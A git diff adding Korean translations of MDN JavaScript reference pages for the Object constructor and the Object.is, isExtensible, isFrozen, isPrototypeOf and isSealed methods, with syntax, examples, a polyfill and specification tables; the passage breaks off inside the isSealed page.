+<p><code>Object</code> 생성자는 주어진 값의 객체 래퍼를 생성합니다. 주어진 값이 {{jsxref("null")}}이거나 {{jsxref("undefined")}}면 빈 객체를 생성해 반환하고, 그렇지 않으면 값에 맞는 자료형의 객체를 반환합니다. 만약 값이 이미 객체이면 그 값을 그대로 반환합니다.</p>
+
+<p>생성자가 아닌 맥락에서 호출하면 <code>Object</code>는 <code>new Object()</code>와 동일하게 동작합니다.</p>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체 초기자(리터럴 구문)</a>도 참고하세요.</p>
+
+<h2 id="Object_생성자의_속성"><code>Object</code> 생성자의 속성</h2>
+
+<dl>
+ <dt><code>Object.length</code></dt>
+ <dd>1의 값을 가집니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Object.prototype")}}</dt>
+ <dd><code>Object</code> 형의 모든 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Object_생성자의_메서드"><code>Object</code> 생성자의 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Object.assign()")}}</dt>
+ <dd>하나 이상의 원본 객체들로부터 모든 열거가능한 속성들을 대상 객체로 복사합니다.</dd>
+ <dt>{{jsxref("Object.create()")}}</dt>
+ <dd>주어진 프로토타입(prototype)의 객체와 속성들을 갖고 있는 새 객체를 생성합니다.</dd>
+ <dt>{{jsxref("Object.defineProperty()")}}</dt>
+ <dd>주어진 기술자(descriptor)에 의해 기술된(described) 이름붙은 속성을 객체에 추가합니다.</dd>
+ <dt>{{jsxref("Object.defineProperties()")}}</dt>
+ <dd>주어진 기술자들에 맞는 이름붙은 속성들을 객체에 추가합니다.</dd>
+ <dt>{{jsxref("Object.freeze()")}}</dt>
+ <dd>객체를 프리징(freeze)합니다. 즉, 다른 곳의 코드에서 객체의 속성을 지우거나 바꿀 수 없습니다.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
+ <dd>객체의 이름붙은 속성의 기술자를 반환합니다.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
+ <dd>주어진 객체 <strong>자신만의</strong> 열거가능하거나 열거불가능한 속성들의 이름을 포함하는 배열(array)을 반환합니다.</dd>
+ <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt>
+ <dd>주어진 객체에서 바로 찾을 수 있는 모든 심볼 속성을 배열로 반환합니다.</dd>
+ <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
+ <dd>명시된 객체의 프로토타입을 반환.</dd>
+ <dt>{{jsxref("Object.is()")}}</dt>
+ <dd>두 값이 같은지를 비교합니다. 모든 NaN 값은 같다고 처리됩니다.(다른 추상적 또는 엄격한 등호 비교에서는 다르게 처리됩니다)</dd>
+ <dt>{{jsxref("Object.isExtensible()")}}</dt>
+ <dd>객체의 확장이 가능한지 확인합니다.</dd>
+ <dt>{{jsxref("Object.isFrozen()")}}</dt>
+ <dd>객체가 프리징 되었는지 확인합니다.</dd>
+ <dt>{{jsxref("Object.isSealed()")}}</dt>
+ <dd>객체가 실링(seal) 되었는지 확인합니다.</dd>
+ <dt>{{jsxref("Object.keys()")}}</dt>
+ <dd>주어진 객체 <strong>자신의 </strong>열거가능한 속성들의 이름의 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Object.preventExtensions()")}}</dt>
+ <dd>객체가 확장되는 것을 못하도록 합니다.</dd>
+ <dt>{{jsxref("Object.seal()")}}</dt>
+ <dd>다른 코드가 객체의 속성을 삭제하지 못하도록 합니다.</dd>
+ <dt>{{jsxref("Object.setPrototypeOf()")}}</dt>
+ <dd>프로토타입(즉, 내부의 <code>[[Prototype]]</code> 속성)을 설정합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Object.values()")}}</dt>
+ <dd>주어진 객체의 열거가능한 모든 스트링 속성들의 값들을 포함하고 있는 배열을 반환합니다.</dd>
+</dl>
+
+<h2 id="Object_instances" name="Object_instances"><code>Object</code> 인스턴스와 <code>Object</code> 프로토타입 객체</h2>
+
+<p>JavaScript에서 모든 객체들은 <code>Object</code>의 자손입니다. 모든 객체는 {{jsxref("Object.prototype")}}으로부터 메서드와 속성을 상속하는데, 나중에 덮어 쓸 수도 있습니다. 예를 들어, 다른 생성자의 프로토타입은 그 <code>constructor</code> 속성을 덮어쓰고 자신의 <code>toString()</code> 메소드들을 제공합니다. <code>Object</code> 프로토타입 객체에 대한 변경 내용은  그 변경 내용에 영향을 받는 속성들과 메소드들이 프로토타입 체인(chain)을 따라 더이상 무시되지 않는한,  모든 객체들로 전달됩니다.</p>
+
+<h3 id="속성">속성</h3>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', '속성') }}</div>
+
+<h3 id="메서드">메서드</h3>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', '메서드') }}</div>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example.3A_Using_Object_given_undefined_and_null_types" name="Example.3A_Using_Object_given_undefined_and_null_types"><code>undefined</code>와 <code>null</code>을 지정</h3>
+
+<p>다음 예제는 변수 <code>o</code>에 빈 <code>Object</code> 객체를 저장합니다.</p>
+
+<pre class="brush: js">var o = new Object();
+</pre>
+
+<pre class="brush: js">var o = new Object(undefined);
+</pre>
+
+<pre class="brush: js">var o = new Object(null);
+</pre>
+
+<h3 id="Object로_Boolean_객체_생성하기"><code>Object</code>로 <code>Boolean</code> 객체 생성하기</h3>
+
+<p>다음 예제는 변수 <code>o</code>에 {{jsxref("Boolean")}} 객체를 저장합니다.</p>
+
+<pre class="brush: js">// o = new Boolean(true)과 같음
+var o = new Object(true);
+</pre>
+
+<pre class="brush: js">// o = new Boolean(false)과 같음
+var o = new Object(Boolean());
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>ECMAScript 1st Edition.</td>
+ <td>Standard</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Added Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Added Object.entries, Object.values and Object.getOwnPropertyDescriptors.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/is/index.html b/files/ko/web/javascript/reference/global_objects/object/is/index.html
new file mode 100644
index 0000000000..2ead91a88a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/is/index.html
@@ -0,0 +1,124 @@
+---
+title: Object.is()
+slug: Web/JavaScript/Reference/Global_Objects/Object/is
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/is
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.is()</strong></code> 메서드는 두 값이 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness">같은 값</a>인지 결정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.is(<var>value1</var>, <var>value2</var>);</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value1</code></dt>
+ <dd>비교할 첫 번째 값.</dd>
+ <dt><code>value2</code></dt>
+ <dd>비교할 두 번째 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>두 인수가 같은 값인지 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Object.is()</code>는 두 값이 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness">같은 값</a>인지 결정합니다. 다음 중 하나를 만족하면 두 값은 같습니다.</p>
+
+<ul>
+ <li>둘 다 {{jsxref("undefined")}}</li>
+ <li>둘 다 {{jsxref("null")}}</li>
+ <li>둘 다 <code>true</code> 또는 둘 다 <code>false</code></li>
+ <li>둘 다 같은 문자에 같은 길이인 문자열</li>
+ <li>둘 다 같은 객체</li>
+ <li>둘 다 숫자이며
+ <ul>
+ <li>둘 다 <code>+0</code></li>
+ <li>둘 다 <code>-0</code></li>
+ <li>둘 다 {{jsxref("NaN")}}</li>
+ <li>둘 다 0이나 {{jsxref("NaN")}}이 아니고 같은 값을 지님</li>
+ </ul>
+ </li>
+</ul>
+
+<p>이는 {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} 연산자에 따른 같음과 같지 <em>않습니다</em>. {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} 연산자는 같음을 테스트하기 전에 양 쪽(이 같은 형이 아니라면)에 다양한 강제(coercion)를 적용하지만(<code>"" == false</code>가 <code>true</code>가 되는 그런 행동을 초래), <code>Object.is</code>는 어느 값도 강제하지 않습니다.</p>
+
+<p>이는 {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}} 연산자에 따른 같음과도 같지 <em>않습니다</em>. {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}} 연산자(와 {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} 연산자 역시)는 숫자값 <code>-0</code>과 <code>+0</code>을 같게 {{jsxref("Number.NaN")}}은 {{jsxref("NaN")}}과 같지 않게 여깁니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Object.is('foo', 'foo'); // true
+Object.is(window, window); // true
+
+Object.is('foo', 'bar'); // false
+Object.is([], []); // false
+
+var test = { a: 1 };
+Object.is(test, test); // true
+
+Object.is(null, null); // true
+
+// 특별한 경우
+Object.is(0, -0); // false
+Object.is(-0, -0); // true
+Object.is(NaN, 0/0); // true
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (!Object.is) {
+ Object.is = function(x, y) {
+ // SameValue 알고리즘
+ if (x === y) { // Steps 1-5, 7-10
+ // Steps 6.b-6.e: +0 != -0
+ return x !== 0 || 1 / x === 1 / y;
+ } else {
+ // Step 6.a: NaN == NaN
+ return x !== x &amp;&amp; y !== y;
+ }
+ };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.is', 'Object.is')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.is', 'Object.is')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.is")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness">같음 비교 및 똑같음</a> — 똑같음 내장 기능 3가지 모두 비교</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/isextensible/index.html b/files/ko/web/javascript/reference/global_objects/object/isextensible/index.html
new file mode 100644
index 0000000000..bfe247c6e8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/isextensible/index.html
@@ -0,0 +1,110 @@
+---
+title: Object.isExtensible()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isExtensible
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isExtensible
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Object.isExtensible()</code></strong> 메서드는 객체가 확장 가능한지(객체에 새 속성을 추가할 수 있는지 여부)를 결정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-isextensible.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.isExtensible(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>판별할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 확장 가능 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>객체는 기본으로 확장 가능입니다: 새로운 속성이 추가될 수 있고 ({{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} 속성을 지원하는 엔진에서는) 수정될 수 있습니다. 객체는 {{jsxref("Object.preventExtensions()")}}, {{jsxref("Object.seal()")}} 또는 {{jsxref("Object.freeze()")}}를 사용하여 확장 불가로 표시될 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 새로운 객체는 확장 가능입니다.
+var empty = {};
+Object.isExtensible(empty); // === true
+
+// ...하지만 변경될 수 있습니다.
+Object.preventExtensions(empty);
+Object.isExtensible(empty); // === false
+
+// 봉인된 객체는 정의에 의해 확장 불가입니다.
+var sealed = Object.seal({});
+Object.isExtensible(sealed); // === false
+
+// 동결된 객체 또한 정의에 의해 확장 불가입니다.
+var frozen = Object.freeze({});
+Object.isExtensible(frozen); // === false
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, 이 메서드의 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 인수는 확장 불가인 보통 객체처럼 다뤄집니다, 그저 <code>false</code>를 반환하는.</p>
+
+<pre class="brush: js">Object.isExtensible(1);
+// TypeError: 1은 객체가 아닙니다 (ES5 코드)
+
+Object.isExtensible(1);
+// false (ES6 코드)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.13', 'Object.isExtensible')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.isextensible', 'Object.isExtensible')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.isExtensible")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.isExtensible()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/isfrozen/index.html b/files/ko/web/javascript/reference/global_objects/object/isfrozen/index.html
new file mode 100644
index 0000000000..0d8999fc4f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/isfrozen/index.html
@@ -0,0 +1,155 @@
+---
+title: Object.isFrozen()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.isFrozen()</strong></code>은 객체가 {{jsxref("Object.freeze()", "동결", "", 1)}}됐는지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-isfrozen.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.isFrozen(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>판별할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 동결 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>객체는 {{jsxref("Object.isExtensible()", "확장 불가", "", 1)}}이며 모든 속성이 설정 불가 및 모든 데이터 속성(즉, getter 또는 setter 요소가 있는 접근자 속성이 아닌 속성)이 쓰기 불가인 경우에만 동결됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 새로운 객체는 확장 가능해서 동결되지 않습니다.
+Object.isFrozen({}); // === false
+
+// 확장 불가인 빈 객체는 빈 채로 동결됩니다.
+var vacuouslyFrozen = Object.preventExtensions({});
+Object.isFrozen(vacuouslyFrozen); // === true
+
+// 속성이 하나 있는 새 객체도 확장 가능하므로 동결되지 않습니다.
+var oneProp = { p: 42 };
+Object.isFrozen(oneProp); // === false
+
+// 객체 확장을 막아도 여전히 동결되지 않습니다,
+// 속성이 여전히 설정 가능(및 쓰기 가능)하기에.
+Object.preventExtensions(oneProp);
+Object.isFrozen(oneProp); // === false
+
+// ...그렇지만 그 속성 삭제는 객체를 빈 채로 동결되게 합니다.
+delete oneProp.p;
+Object.isFrozen(oneProp); // === true
+
+// 쓰기 불가지만 여전히 설정 가능한 속성이 있는 확장 불가 객체는 동결되지 않습니다.
+var nonWritable = { e: 'plep' };
+Object.preventExtensions(nonWritable);
+Object.defineProperty(nonWritable, 'e', { writable: false }); // 쓰기 불가로 함
+Object.isFrozen(nonWritable); // === false
+
+// 그 속성을 설정 불가로 바꾸면 객체를 동결되게 합니다.
+Object.defineProperty(nonWritable, 'e', { configurable: false }); // 설정 불가로 함
+Object.isFrozen(nonWritable); // === true
+
+// 설정 불가지만 여전히 쓰기 가능 속성이 있는 확장 불가 객체도 동결되지 않습니다.
+var nonConfigurable = { release: 'the kraken!' };
+Object.preventExtensions(nonConfigurable);
+Object.defineProperty(nonConfigurable, 'release', { configurable: false });
+Object.isFrozen(nonConfigurable); // === false
+
+// 그 속성을 쓰기 불가로 바꾸면 객체를 동결되게 합니다.
+Object.defineProperty(nonConfigurable, 'release', { writable: false });
+Object.isFrozen(nonConfigurable); // === true
+
+// 설정 가능 접근자 속성이 있는 확장 불가 객체는 동결되지 않습니다.
+var accessor = { get food() { return 'yum'; } };
+Object.preventExtensions(accessor);
+Object.isFrozen(accessor); // === false
+
+// ...하지만 그 속성을 설정 불가로 하면 동결됩니다.
+Object.defineProperty(accessor, 'food', { configurable: false });
+Object.isFrozen(accessor); // === true
+
+// 하지만 동결되는 객체를 위한 가장 쉬운 방법은 객체에 Object.freeze가 호출된 경우입니다.
+var frozen = { 1: 81 };
+Object.isFrozen(frozen); // === false
+Object.freeze(frozen);
+Object.isFrozen(frozen); // === true
+
+// 정의에 의해, 동결된 객체는 확장 불가입니다.
+Object.isExtensible(frozen); // === false
+
+// 또한 정의에 의해, 동결된 객체는 봉인됩니다.
+Object.isSealed(frozen); // === true
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, 이 메서드의 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 인수는 마치 동결된 보통 객체였던 것처럼 취급됩니다, 그저 <code>true</code>를 반환하는.</p>
+
+<pre class="brush: js">Object.isFrozen(1);
+// TypeError: 1은 객체가 아닙니다 (ES5 코드)
+
+Object.isFrozen(1);
+// true (ES6 코드)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.isFrozen")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/isprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/object/isprototypeof/index.html
new file mode 100644
index 0000000000..0e9de96b41
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/isprototypeof/index.html
@@ -0,0 +1,111 @@
+---
+title: Object.prototype.isPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>isPrototypeOf()</strong></code> 메소드는 해당 객체가 다른 객체의 프로토타입 체인에 속한 객체인지 확인하기 위해 사용됩니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> <code>isPrototypeOf</code> 는 {{jsxref("Operators/instanceof", "instanceof")}} 연산자와 다릅니다. "<code>object instanceof AFunction</code>"표현식에서는 <code>object</code>의 프로토타입 체인을 AFunction 자체가 아니라 <code>AFunction.prototype에 대해 </code>확인을 합니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><var>prototypeObj</var>.isPrototypeOf(<var>obj</var>)</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>프로토타입 체인을 가지고 있는 객체가 검색될 것 입니다.</dd>
+</dl>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>isPrototypeOf</code> 메소드는 또 다른 객체의 프로토타입 체인에 해당 객체가 존재하는지 여부를 확인할수 있습니다.</p>
+
+<p>예를들어, 다음의 프로토타입체인을 고려해봅시다.</p>
+
+<pre class="brush: js">function Fee() {
+ // ...
+}
+
+function Fi() {
+ // ...
+}
+Fi.prototype = new Fee();
+
+function Fo() {
+ // ...
+}
+Fo.prototype = new Fi();
+
+function Fum() {
+ // ...
+}
+Fum.prototype = new Fo();
+</pre>
+
+<p>실행되고 나면 <strong>Fum</strong> 인스턴스의 프로토타입체인이 <strong>Fi</strong>의 프로토타입과 연결되어있는지를 확인할 필요가 있습니다. 다음과 같은 방법으로 확인할 수 있습니다:</p>
+
+<pre class="brush: js">var fum = new Fum();
+// ...
+
+if (Fi.prototype.isPrototypeOf(fum)) {
+ // do something safe
+}
+</pre>
+
+<p>이 메소드는 {{jsxref("Operators/instanceof", "instanceof")}} 연산자와 함께 특정 프로토타입으로부터 상속된 객체만 작동하게 하려는(예를 들어 특정 메소드나 속성이 객체에 있다는걸 보장하려는 때) 코드에서 특히 쓸모가 많다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>ECMAScript 3rd Edition.</td>
+ <td>Standard</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.isPrototypeOf")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>
+ <div><span style="font-size: 14px; line-height: 1.5;">{{jsxref("Object.setPrototypeOf()")}}</span></div>
+ </li>
+ <li>{{jsxref("Object.prototype.__proto__")}} </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/issealed/index.html b/files/ko/web/javascript/reference/global_objects/object/issealed/index.html
new file mode 100644
index 0000000000..38fc953828
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/issealed/index.html
@@ -0,0 +1,128 @@
+---
+title: Object.isSealed()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.isSealed()</strong></code> 메서드는 객체가 봉인됐는지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-issealed.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.isSealed(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>판별할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 봉인 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>객체가 봉인된 경우 <code>true</code>를 반환하고, 그렇지 않으면 <code>false</code>. 객체는 {{jsxref("Object.isExtensible", "확장 불가", "", 1)}}이고 모든 속성이 설정 불가이며 따라서 삭제할 수 없(지만 반드시 쓰기 불가일 필요는 없)는 경우 봉인됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 객체는 기본으로 봉인되지 않습니다.
+var empty = {};
+Object.isSealed(empty); // === false
+
+// 빈 객체를 확장 불가하게 한 경우, 빈 채로 봉인됩니다.
+Object.preventExtensions(empty);
+Object.isSealed(empty); // === true
+
+// 비어 있지 않은 객체는 다릅니다, 그 속성이 모두 설정 불가가 아닌 한.
+var hasProp = { fee: 'fie foe fum' };
+Object.preventExtensions(hasProp);
+Object.isSealed(hasProp); // === false
+
+// 그러나 모두 설정 불가하게 하면 객체는 봉인됩니다.
+Object.defineProperty(hasProp, 'fee', { configurable: false });
+Object.isSealed(hasProp); // === true
+
+// 객체를 봉인하는 가장 쉬운 방법은 물론 Object.seal 입니다.
+var sealed = {};
+Object.seal(sealed);
+Object.isSealed(sealed); // === true
+
+// 봉인된 객체는 정의에 의해 확장 불가입니다.
+Object.isExtensible(sealed); // === false
+
+// 봉인된 객체는 동결될 수 있지만 꼭 그럴 필요는 없습니다.
+Object.isFrozen(sealed); // === true (모든 속성도 쓰기 불가)
+
+var s2 = Object.seal({ p: 3 });
+Object.isFrozen(s2); // === false ('p'는 여전히 쓰기 가능)
+
+var s3 = Object.seal({ get p() { return 0; } });
+Object.isFrozen(s3); // === true (설정 가능성만이 접근자 속성에게 중요함)
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, 이 메서드의 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 인수는 마치 봉인된 보통 객체였던 것처럼 취급됩니다, 그저 <code>true</code>를 반환하는.</p>
+
+<pre class="brush: js">Object.isSealed(1);
+// TypeError: 1은 객체가 아닙니다 (ES5 코드)
+
+Object.isSealed(1);
+// true (ES6 코드)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
